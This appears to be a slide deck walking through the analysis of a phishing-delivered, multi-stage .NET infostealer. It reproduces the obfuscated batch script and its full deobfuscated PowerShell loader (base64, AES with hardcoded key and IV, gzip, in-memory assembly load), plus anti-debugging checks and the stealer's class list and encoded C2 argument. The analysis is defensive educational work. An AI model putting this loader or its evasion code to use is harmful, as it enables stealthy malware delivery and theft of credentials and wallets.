Our Adventures in Malware Analysis



What is Malware Analysis?

Deconstructing a program to discern its intentions

- Types of MRE (Malware Reverse Engineering)
 - Static don't run code
 - Dynamic run code and watch hell unfold



Definitions

- Stage N
 - Phases of malware execution
 - Where stage 0 is first sequence in execution
- Loaders
 - Used to introduce another piece of malware from the current stage
- .NET (pronounced "dot net")
 - Framework used to interact with Windows components
- Obfuscation
 - Technique used by malware authors to evade signature based detection (and make analysis by humans a pain)



Tools Used

- Text editor of your choice
 - Notepad best IDE (jk we used VS Code)
- CyberChef
 - Cooking up dem decryptions
- .NET decompiler
 - What's a decompiler you ask?
 - A program which deconstructs a compiled program into human readable code
 - We used dnSpy/dotPeek
- Scripting Languages
 - Powershell
 - Python



DISCLAIMER




DON'T DETONATE MALWARE ON YOUR HOST



How Did We Get Here? - Stage 0

- Friend received a phishing email which contained a onenote document
- Document had an image with a file behind which the user would execute on clicking it
- Sent to us to poke and prod


CLICK HERE TO CONTINUE





The Batch Script - Stage 1

375 Lines of obfuscated batch script







The Batch Script

Loads of aliases

@echo off set "mDtq=set " %mDtq%"IMSnITJWov=rs" %mDtg%"TTjXRoSvJI=\W" %mDtq%"thtAgOFRjm=Sy" %mDtq%"LwNdPZPPEa=e"" %mDtg%"owrrhvDMpF=ex" %mDtq%"cZVmgMDptP=he" %mDtq%"jVzUZhAIxa=py" %mDtq%"sLkgJjPxPk=:\" %mDtq%"YEgtWwlLns=nd" %mDtq%"DZMOwTtlEn=po" %mDtq%"uBxCJghTzH=we" %mDtg%"RvOTrSdfqZ=ws" %mDtg%"scSnndIxDL=s\" %mDta%"teEmhZvrhe= C" %mDtq%"DRzJuldtTC=0\" %mDtq%"XeRtZgelmk=in" %mDtq%"buGiCDfAph=11" %mDtg%"GhkSAyKskP=ow" %mDtq%"OOhBZyNJMM=32" %mDtg%"awNRonfKLe= /"

%NpUi%"plHAbWoCnG=den " %NpUi%"NsWYzQRmUE=lBlo" %NpUi%"vBbXwYYwGB=, \$z" %NpUi%"GtOhwUyvAn=tem." %NpUi%"heTzKiEaSG=null" %NpUi%"bLwuHtUxOl=hWOz" %NpUi%"DjfGIsMPVZ=.Ass" %NpUi%"VOdhWGUUSl=ress" %NpUi%"RIqZAMhMDq=Star" %NpUi%"FEztFPbnLr=1] -" %NpUi%"vqoPJIYujy= '')" %NpUi%"ijzjwpiiAs=Syst" %NpUi%"JwXNGeZead=-joi" %NpUi%"baZsldeaFF=rtS4" %NpUi%"YgOlRARsTe=TllA" %NpUi%"PcXkXcAAIL=saBm" %NpUi%"ZIrxIDywwZ=e]::" %NpUi%"gkCSqLcoug=S46e"



The Batch Script

Encoded Data

```
:: iusojnaIAKdj27PecjCf7B9o56jzvbZ2cFVVArU+c0/k0BYoth3dkjadotr3Xdwe2BqHAiE606RmRDHszFbp8+LkwrIBtDMcWtBupj/iADg8qML0gUe3TdIzxrYfNBKcnk4oRunVFW5bpgEFcPg33XbLHmfjZn/
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+yzZM5CDCm2GOt3dBZLC1PkkRw6bvPcSogpV3lKcQ4f0PRREMxiaoZfDPdcJa1oVCTFMIGo6z+Wpdfwa0PNJzS3e1IaTF8uITNDA7enbSecchEUi9wwff1HbiM1eTFR7RtL0YXaNzNcH0gzqjp
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+mtBGkfhavz0cdJ4xml3511FnghSZOXgM4Hij7SP7gelR88xfTLN8tAa1D1mHtyKaXqdYubUU51fvexdQ50eHPAsJ5+IQut2OJjosXqSCK+QPfKP118z/F0cFJmPSzn9Imf6moUdH4CQ/8ofxP2NPu7kTDhS+qUF5gbVMKPl1
+761E6tZ4iZ9VBe5NVdD5enf1Pd2DfDHTfSbaUWGR/Qsh14DEtX7WhvhYW+WpotiLjnsFFeTYDCG5aQZL2SrUHMd6Gp2d0EDR+VPbbU1yQJ+aM7iimiXwfaESxR5QCkL/
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```

A8NoManZJACqwLajpTqFlpUTkjP6fzypNcmvUg8qwHaiOkxhHRhj8HCjIAwvaztz62Xbu/GQt3x0cpxH3vjyKmLibKNSDIssYp2w3xiqyuAdRf0nqnNh2p7xSr+YsmfXH7fJx6rVXCWOjhFkBjlnSNcVTghxP8kuM4HtS1hp/bQMhPWhXamR4fHtmLFiMU/VnvD/EhfKHXYD9RoYtHxVB+PM1+R0xcw5IzfN43n73R3AP4xtVEpFYDN2GAJSkGu6U6/UbI0V/fssGi0Iw1zLMaSb7Xe/iwJMeidyPzD1SktU2a75dxfEUdJT0vG5cQWGfjWwFwz/Y2zSTs8LJ

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The Batch Script

Execution

%BQYvsbysXT%%jVzUZhAIxa%%teEmhZvrhe%%sLkgJjPxPk%%MqwhIwGnXG%YEgtwwllns%%GhkSayKskP%%scSnndIxDL%%thtAgOFRjm%%YdkwDEfDGk%%LndhovLSfT%%OOhBZyNJMv6%TTjXRoSvJI%XXeRtZgelmk%%
cMMppjVIxf%%RvQTrSdfq2%%dqiwVJXOCS%%uBxCJghTzH%%skXERBoXbh%%cZVmgMDptP%%mhgEKpYokl%%kjGJHTsEEu%%vZNuPuGlv%%DRZJuldtTC%%DZMQwTtlEn%%uZLzuntLOp%%IMSnITJWov%%PZKbQvmXXW%b
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%OkHGPdvjnx%%hAPwhqrYUS%

%OrvJwJJftI%%bkNkvQyiGo%%SwCRNWnOIT%%xsLHoeODbx%%QKcyphlKwv%%wFIFqsPDVA%%wUwAlIzfVr%%cUhjxhtdCG%%KDrnxSJfqW%%plHAbWoCnG%%HfOftCxzii%%YLapPSCjcs%%ZuOZcRmGhB%%SRQWYFOmTU%% ujXiXDksLi%%tfzUGnqOcC%%qRsGqhVdgk%%dqpiXQwGbz%%GTUYhNrVqk%%oajrEDRqSQ%%HgcBedQrwQ%%RKMDVwXtyC%%PaNFVdgYDu%%Yg01RARsTe%%XaYzTEnFvi%%GxRpaHswFb%%WSNCRKVBMv%%FEztFPbnLr%%Q ACVOAozlj%%huNSifmwIj%%IMTaCcXxKk%%FeLnkvprNr%%wwpCokQHlz%%CFFCJeHCSM%%CQOaEcJzIM%%PVIqMmwqLr%%lqmkIZyiEf%%ONyaOFHpYl%%BqYzJHXOPw%%IrQBBmEDrE%%DAVCYcwHCg%%FgrAQUrNBa%%ck sixxwXzC%%bdXuHavwAG%%1pMIRBzpKG%%URcrBtiNfB%%gyhafBjXSP%%yVmUPNxJqV%%xGmTIkbGTo%%RIqZAMhMDg%%scxUiYFhBN%%VzwjdzlosV%%zDeEXQEmtd%%FLfaDvjsLJ%%FTefssmhVb%%ASuIQQYSWs%%tsO yiktwFI%%pTDIpFyYmF%%DxqsCNrxjP%%xrvtpmfGXh%%ZPCnLGoLsk%%qZFrOWbwVu%%SVmQkYyksd%%ARbeF0VdGv%%yFfYyyLdEt%%1ILCoeCLcM%%ietpJzXBMz%%aYPZWnQosM%%nvFYRSgzPB%%1jaTNumPoz%%AkrF smSLFb%%ootqzNyuxR%%syLlNRYWmC%%baZsldeaFF%%ZuTOnXQKua%%VRswGcyfRB%%owZdanoaev%%JxOSSYEWXQ%%bnBlGjHCMj%%EYiegcVQNZ%%IPFYrxcAEI%%yCibAaunwR%%GMoVRKoKBP%%d0jYhlIDUiX%ghYeL cQhDq%%IHtWtWAKhG%%isYOFJsjTo%%sRsnKyNkjp%%UhglhvumFl%%KXwoZNjjzb%%JGooYQoglU%%iqArLbmNHj%%pgEIEuvenw%%pEKifoSRnq%%gnaKctweDY%%BvCpLDcGKD%%vKSpFEGsmx%%juAqcbfTFk%%YrBpvT cvwC%%llgKVwvLey%%NeSg0hVlmK%%yibAEeIDTL%%CkVJlXnQvg%%Gt0hwUyvAn%%YRiMedkGf0%%nRRtWDiiVR%%TePgdetTeK%%FncGNKcjFh%%MHKESPBvlT%%MqAIuTbbIZ%%JrBvla0lGl%%AYCNflukoo%%CYIlXoN tlT%%JaAGxvfptS%%aqPZsNOMDiX%ZONuxLIqxW%%muaNBAyWpJ%%feOwomjISk%%AaPctSmfiM%%NPRxFFqcxS%%ORxUcuargl%%CZxnvlEXtJ%%nsNDWqntRIX%WhlaVIDVZY%%SVZXkNrEbt%%asIOEWeTXM%%hGAxouOx rn%%1JXuRstPsi%%ZIrxIDywwZ%%EJXnRlvCIP%%ZUmoLruoXm%%DoBPMyocPL%%WrasjYLKDF%%WQgCjfwdMr%%ijzjwpiiAs%%WsMXTHTTeN%%FKLrpMiYFH%%ClpyCMSRwU%%PDjkJDejJB%%ICZZLyyhUK%%gkCSqLcou g%%PcXkXcAAIL%%HZoevzmgMe%%nKwlNFarUX%%BPOCLjE0bJ%%XXzichVyw0%%zMCqTffMws%%cjGKkSkLsm%UxpdgpkNjF%%jBUdy0myJF%%eSrJG0rPYj%%XjfkVbxzjD2%VrCQIAoCmv%%GMcMhcfFws%%YvPZIAwKhw %%rNogKMpAag%%zODCDkhscT%%WRcOEzBCii%%dEvPdSxVbv%%MEEpTkSnwy%%sdHnzAKyBl%%kMsScUtNyK%%NlqHhrmNXu%%HogJPaXhpD%%hZtOkZlMny%%OeOLLgMagi%%nXAhEVGIdc%%XlyUDNSAxi%%gAAZDCAuYI% %nXbhpkzmmo%%sCJkaFGTiX%%omCYbNxBDb%%vlKuPakqFs%%oGniPDRpYY%%VGmauaucf8%%NYIkShSova%%vqoPJIYuiy%%WhCFfPZJZO%%FhkdFpXdqH%%KCUXDFswrM%%baTHFFvced%%ijpGunfkkt%%KVeBNunFcA%% wCsnNFnDxa%%UvYmzBnoCp%%AhmXcgVsT1%%sQaEGFQbTP%%aBNjzPXRbm%%gYcMapqulH%%KUKmHdUtGU%%KlvNpYucyn%%ierHetOnEq%%pvQlefRACv%%UDlgBVDoxb%%VnWXyGDcho%%pHPpFoujIj%%hTAcsFSkgj%%P zPDvbzSNy%%COsnfmNWBm%%AuGoUcNUES%%NsWyzORmUE%%PBvjHsAmXg%%RWIUJvTBIt%%nFnULjSuOp%%vBbXwYYwGB%%BAXybRJcpd%%XgDBqkoAyx%%AgyILpULxK%%wxUhRMIPTT%%zPfKreYAHl%%KxXjbvcpNL%WY EEHAVVJD%%CyHEXKANqG%%rtdlaYzKfv%%KtbiwBlAdR%%JCQdJlQsmr%%uoYhtDUsEJ%%AKqnSjxyHv%%yAKzWPCaCP%%hhyObwuTOt%%GSWuQYmCkz%%NrKQSUDzkE%%aUPOBTlBmw%%PDKoPGDqIY%%DZPcbQwIWg%%SUI ktMchTw8%MLqOKjHwb1%%qmRmbaeNNK%%xDEgDUVzVc%%bwxLlSJbsr%%iaHKQGdwjs%%HptizigkkP%%oiaYIUOfbj%%rduWBxWTqX%%RypDvncpmc%LzQCCazJcv%%RYvabEVxGc%%mmUnYQSXCu%%SzSYxRmRtB%%YnRu fSdpCR%%SEJkPyFDDM%%iBgHcsfwCj%%rddfeZvzhg%%MCvLboPIiY%%lIoHswgjrM%%NHNszpAEgQ%%dgvxZGfvF0%%CwnDXIPwMH%%SlhvsfPdlM%%NlCrVfnQHM%%rLDDkqtjuQ%%AeRyYRYafU%%QcjTbqUWIR%%VYOZq gIEkb%%MGIvmIudtd%%hmLMwoCKBT%%wxADuBaSiR%%iuPdiktOGt%%wOCFKinbdb%%EYcrEpffaL%%rBVCUMwIEL%VOdhWGUUS1%%ooOgn1rvvT%%eoNVbvUaLX%%MExsgOUVvY%%ukmPwdMOpI%%vYiKGGahgB%%LUiUvJ RwaxXXqwczzTbYyYXXIgLcCOvMLzXXPMOTmAbsqNXX1pORrZVJ1MXXFbIhSFigrXXXoeLAHEHjnZXXSJHLNssTKDXXSLBYUNdGaHXXXrUaGygEnkNXXrMwmUWuXuAXXnpwORDDMGTXXAbiFHXIamGXXNeIXmfopeYXXtglAuby lPV%%DRHrnqEREW%%ntKOMiGyCL%%ooIHzuPHlG%%zwlqcwwrJV%%BxKhLavxol%wuZJdGpjaRT%%BXFXxQhuLQ%%LpPGkRDAWz%%YrTZlzNhJN%%MwAQuERMKU%%TbLYzfkcTP%%LIdsUjeGMX%%dZKXdpOYmG%%aQPcGXGU Af%%pKnUcetiwll%%zlaNQTrOUk%%rlQnPVSbLX%%DjfGIsMPVZ%%VGcagQQclN%%GSZpOdUafg%%lswYIqftex%%gBSVOKiPha%%fPPYrKjPRE%%yMKPNDjdsP%%JwXNGeZead%%VeSfbvCxHX%%hpCaZuRdiL%%BexsqJScs m%%KfONJuTFNs%%bLwuHtUxO1%%nWpCQHzOs%%DzfvmcAORE%%BlpQJPIcKX%%PuohZOjzIS%%NtRvOCGaiF%%SfFkKbHfFM%%hEPQDilXwy%%SbCZQhuTbh%%jHTfeJPexX%%heTzKiEaSG%%gIEKMRDGtc%%GNdyCALKMT %%thAyrOidoI%%CubvRBcjsm%%fiLUquavWk%%xUnYnjhgtY%

(goto) 2>nul & del "‰f0" exit /b



What Does that Execution Section Actually Do?

 Concatenates all those aliases from earlier and executes that combined command. We got this via find/replace in python

```
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /v "C:\Users\username\Downloads\nudm1.bat.exe"
cd "C:\Users\username\Downloads\"
"nudm1.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $cnFta = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\username\Downloads\nudm1.bat').
foreach ($MoCzv in $cnFta) { if ($MoCzv.StartsWith(':: ')) { $vdVxE = $MoCzv.Substring(3); break; }; };
$zWeYV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($vdVxE);
$tPJlc = New-Object System.Security.Cryptography.AesManaged;
$tPJlc.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$tPJlc.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$tPJlc.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('402hMB9pMchU0WZqwOxI/4wg3/QsmYElktiAnwD4Lqw=');
$tpJlc.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TFfxPAVmUJXw1j++dcSfsQ==');
$zFeze = $tPJlc.CreateDecryptor();
$zWeYV = $zFeze.TransformFinalBlock($zWeYV, 0, $zWeYV.Length);
$zFeze.Dispose();
$tPJlc.Dispose();
$DnWEF = New-Object System.IO.MemoryStream(, $zWeYV);
$pDxkZ = New-Object System.IO.MemoryStream;
$NShll = New-Object System.IO.Compression.GZipStream($DnWEF, [IO.Compression.CompressionMode]::Decompress);
$NShll.CopyTo($pDxkZ);
$NShll.Dispose();
$DnWEF.Dispose();
$pDxkZ.Dispose();
$zWeYV = $pDxkZ.ToArray();
$IuaSr = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($zWeYV);
$fhWOz = $IuaSr.EntryPoint;$fhWOz.Invoke($null, (, [string[]] ('')))
```



Now We Deobfuscate it

Copy Powershell Binary for some reason????

```
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "%~0.exe"
cls
cd "%~dp0"
```

Find the batch comment in the script and base64 decode it

```
:: revtext -> ReadAllText. reads the contents of nudm1.bat and stores it in batContents
$batContents = [System.IO.File]::("txeTllAdaeR"[-1..-11] -join '') ("C:\Users\username\Downloads\nudm1.bat").Split([Environment]::NewLine);

:: look for
foreach ($line in $batContents) {
    if ($line.StartsWith(':: ')) {
        $payload = $line.Substring(3);
        break;
    };
};

:: revtext -> FromBase64String
$revText2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payload);
```



Now We Deobfuscate it

Create an AES Encryption object

```
:: create an AES object
$AESObj = New-Object System.Security.Cryptography.AesManaged;
$AESObj.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$AESObj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
:: key = E0 ED A1 30 1F 69 31 C8 54 D1 66 6A C0 EC 48 FF 8C 20 DF F4 2C 99 81 25 92 D8 80 9F 00 F8 2E AC
$AESObj.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('402hMB9pMchU0WZqwOxI/4wg3/QsmYElktiAnwD4Lqw=');
:: IV = 4C 57 F1 3C 05 66 50 95 F0 D6 3F BE 75 C4 9F B1
$AESObj.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TFfxPAVmUJXw1j++dcSfsQ==');
```

Create decrypter and decrypt next stage

```
:: create a decryptor for AES
$AESDecryptor = $AESObj.CreateDecryptor();

:: decrypt payload
$revText2 = $AESDecryptor.TransformFinalBlock($revText2, 0, $revText2.Length);

:: cleanup
$AESDecryptor.Dispose();
$AESObj.Dispose();
```



Now We Deobfuscate it

Decompress payload to final state

```
:: decompress a gziped file
$memStream1 = New-Object System.IO.MemoryStream(, $revText2);
$memStream2 = New-Object System.IO.MemoryStream;
$gzipStream = New-Object System.IO.Compression.GZipStream($memStream1, [IO.Compression.CompressionMode]::Decompress);
$gzipStream.CopyTo($memStream2);
```

Load payload into memory and execute

```
:: load an assembly
$revText2 = $memStream2.ToArray();
$assem = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($revText2);
$assemEntryPoint = $assem.EntryPoint;
$assemEntryPoint.Invoke($null, (, [string[]] ('')))
```




Stage 2 Time Babyyyyyyyyyy

- Now we extract it
 - Grab the base64 from the script
 - Base64 decode that nonsense
 - AES decrypt it using the hardcoded Key and IV
 - Gunzip it



Why Cyberchef is Amazing








Why Cyberchef is Amazing

Pipe the output to detect file type in cyberchef and it gives us a hit!







Now We Decompile Stage 2

Function and Variable Names are Obfuscated

We've deobfuscated it for the sake of clarity here

```
ImpFBF7 (0.0.0.0)

ImpFBF7.tmp

ImpFBF7.tmp

PE

ImpFBF7.tmp

ImpFBF7.tmp

PE

ImpFBF7.tmp

PE

ImpFBF7.tmp

References

References

References

ImpFBF7.tmp

ImpFBF7.tmp

ImpFBF7.tmp

PE

ImpFBF7.tmp

ImpFBF7.tmp

PE

ImpFBF7.tmp

ImpFBF
```



Some Cool Stuff It Does

All the strings we would usually dump are AES encrypted and Base64 Encoded

```
private static byte[] SRwvjAcHapOsRJfNBFxi(byte[] input, byte[] key, byte[] iv)
{
   AesManaged aesManaged = new AesManaged();
   aesManaged.Mode = CipherMode.CBC;
   aesManaged.Padding = PaddingMode.PKCS7;
```

Checks if debugger is enabled to evade dynamic analysis

```
if (Debugger.IsAttached || isDebuggerPresent || forFunctionPointer2()) { Environment.Exit(1); }
```


Checks the .NET resources for something called "payload.exe"

```
foreach (string manifestResourceName in Assembly.GetExecutingAssembly().GetManifestResourceNames())
{
   string name = manifestResourceName;
   if (!(name == payloadExe) && !(name == runpeDLL))
```



Let's Check Out This Payload.exe

Stored in the embedded resources section of the .NET assembly





What Does Stage 2 Do With This?

It AES decrypts the payload.exe resource then Gunzips it in memory

gzipDecrypt(Stage2.ExtractAssembly(payloadExe), Convert.FromBase64String("+KOlpdbdkMhzFf3VDSyAkV8TPpzotEy7fRvL1m08E14="), Convert.FromBase64String("HY12x9zmGn/Yh4ebzFs3/

The Stage 2 payload now loads the gunzipped and decrypted Stage 3 into


```
MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
try
  entryPoint.Invoke((object) null, new object[1]
    (object) strArray
  });
catch
  entryPoint.Invoke((object) null, (object[]) null);
```

memory and invokes the Main

function



Cyberchef 2 Electric Boogaloo




Output 🔀	time: 37m length: 17971 lines: 220	2 8		In .	: 3
MZÿÿ,@ cannot be run in DOS mode.	º í	!,.LÍ!Thi	is progr	am	
\$PE.LÓ.Ùà0.ªÎÉà @xÉ.Sà.& 					
.a.lo.fR.A.M.V.P.E.n.t.i.t.y.1.2.NA.p.p.D.a.t.a.\.L.c \.u.0.0.7.F.].U.N.K.N.O.W.NL.o.c.a.l.					_
.S.t.a.t.eP.r.o.c.e.s.s.I.d1.*1.l.1.d.1.bP l.o.g.i.n.s{.0.}.\.F.i.l.e.Z.i.l.l.a. \r.e.c.e.n.t.s.e.r.v.e.r.sx.m.l%.a.p.p.d.a.t.a.%.\.d.i.				t.a.%.\	1
.S.t.o.r.a.g.e.\.l.e.v.e.l.d.b\.t.d.a.t.av.1.0M.B					



Now For the Final Payload


Final payload is masquerading as a Microsoft Visual Studio installer



1/25/2023 6:03 PM

Application

176 KB





First Let's Check Strings

Armenia

Azerbaijan

Belarus

Kazakhstan

Kyrgyzstan

Moldova

Tajikistan

Uzbekistan

Ukraine

Russia

https://api.ip.sb/ip

bcrFileStream.IOypt.dFileStream.IOll

FileStream.IO

BCrstring.EmptyyptOpestring.EmptynAlgorithmProvistring.Emptyder

string.Empty

BCruintyptCloseAlgorituinthmProvuintider

uint

BCrUnmanagedTypeyptDecrUnmanagedTypeypt

UnmanagedType

BCrhKeyyptDeshKeytroyKhKeyey

hKey

BCpszPropertyryptGepszPropertytPropepszPropertyrty

pszProperty

BCEncodingryptSEncodingetPrEncodingoperEncodingty

Encoding

BCrbMasterKeyyptImbMasterKeyportKbMasterKeyey

bMasterKey



Decompile and Find What it Does

```
Footstools (15.9.28307.1440)

Footstools.exe

PE

Type References

References

{}
```

```
▶ % <Module> @02000001
▶ ♦ AllWallets @02000022
Arguments @02000017
BCRYPT AUTHENTICATED
▶ ■ BCRYPT KEY LENGTHS_S
▶ ■ BCRYPT OAEP PADDING
▶ ■ BCRYPT PSS PADDING_IN
ConfigReader @0200001F
ConnectionProvider @020
CryptoHelper @02000012
Discord @02000026
    Enter @0200001C
▶ • Entity @0200004E
▶ 1 Entity1 @0200004B
▶ t Entity10 @0200003C
▶ t Entity11 @0200003D
▶ † Entity12 @0200003E
▶ a Entity13 @0200003F
▶ ₽ Entity14 @02000044
▶ ℰ Entity15 @02000045
▶ % Entity16 @02000047
▶ f Entity17 @02000049
▶ † Entity18 @02000002
▶ † Entity19 @02000005
▶ fs Entity2 @0200004A
▶ t Entity20 @02000006
▶ † Entity21 @02000008
▶ t Entity3 @0200004C
▶ 🐄 Entity4 @0200004D
▶ 1 Entity5 @0200004F
▶ ■ Entity7 @02000050
▶ t Entity8 @0200003A
Entity9 @0200003B
```

```
▶ † Extractor @02000048
▶ † FileCopier @02000046
▶ † FileExt @0200002D
▶ † FileScanning @02000020
▶ 🕏 FileSearcher @02000021
FullInfoSender @0200001
▶ 🕏 GameLauncher @0200002
▶ diHelper @02000034
▶ 1ntPtr @0200000A
▶ ♣ IPv4Helper @02000035
▶ 1 ItemBase @0200001E
▶ † Json @0200002E
▶ ★ LocalState @02000051
MemoryImport @0200003
DenVPN @02000029
▶ ds OsCrypt @02000052
▶ 🛊 PartsSender @02000018
Program @02000015
▶ ■ RecordHeaderField @020
RosComNadzor @020000
▶ TE SME @02000054
StringDecrypt @02000013
SystemInfoHelper @0200
▶ Te @02000055
▶ t UserExt @02000030
ProtonVPN @0200002A
```



Step 1, String Decryptor

```
Token: 0x0600005A RID: 90 RVA: 0x00005C7C File Offset: 0x00003E7C
public static string Read(string b64, string stringKey)
    string result;
    try
        bool flag = string.IsNullOrWhiteSpace(b64);
        if (flag)
            result = string.Empty;
            string input = StringDecrypt.FromBase64(b64);
            result = StringDecrypt.FromBase64(StringDecrypt.Xor(input, stringKey));
        result = b64;
    return result;
```



Step 2, Find the Decryptor Being Called

```
■ Pv4Helper @02000035

■ Base Type and Interface
■ Derived Types
■ GetDefaultIPv4Addres
■ IsLocallp(IPAddress): Islocallp(IPAddress
```

```
public static string GetDefaultIPv4Address()
{
    try
    {
       bool flag = StringDecrypt.Read(Arguments.IP, Arguments.Key).Split(new string[]
```




Step 3, Check That Arguments Class

```
public static class Arguments
   // Token: 0x04000013 RID: 19
    public static string IP = "GTwMCik+IV89NmBYISBRLSU7PlMZEiYJKwVVUg==";
   // Token: 0x04000014 RID: 20
   public static string ID = "NgY5GAQDWBc=";
   // Token: 0x04000015 RID: 21
    public static string Message = "";
   // Token: 0x04000016 RID: 22
    public static string Key = "Those";
   // Token: 0x04000017 RID: 23
   public static int Version = 1;
```



Cyberchef But Again













Everyone Say Hi to Our Threat Actors





Now We've Gotta be Responsible





Questions?

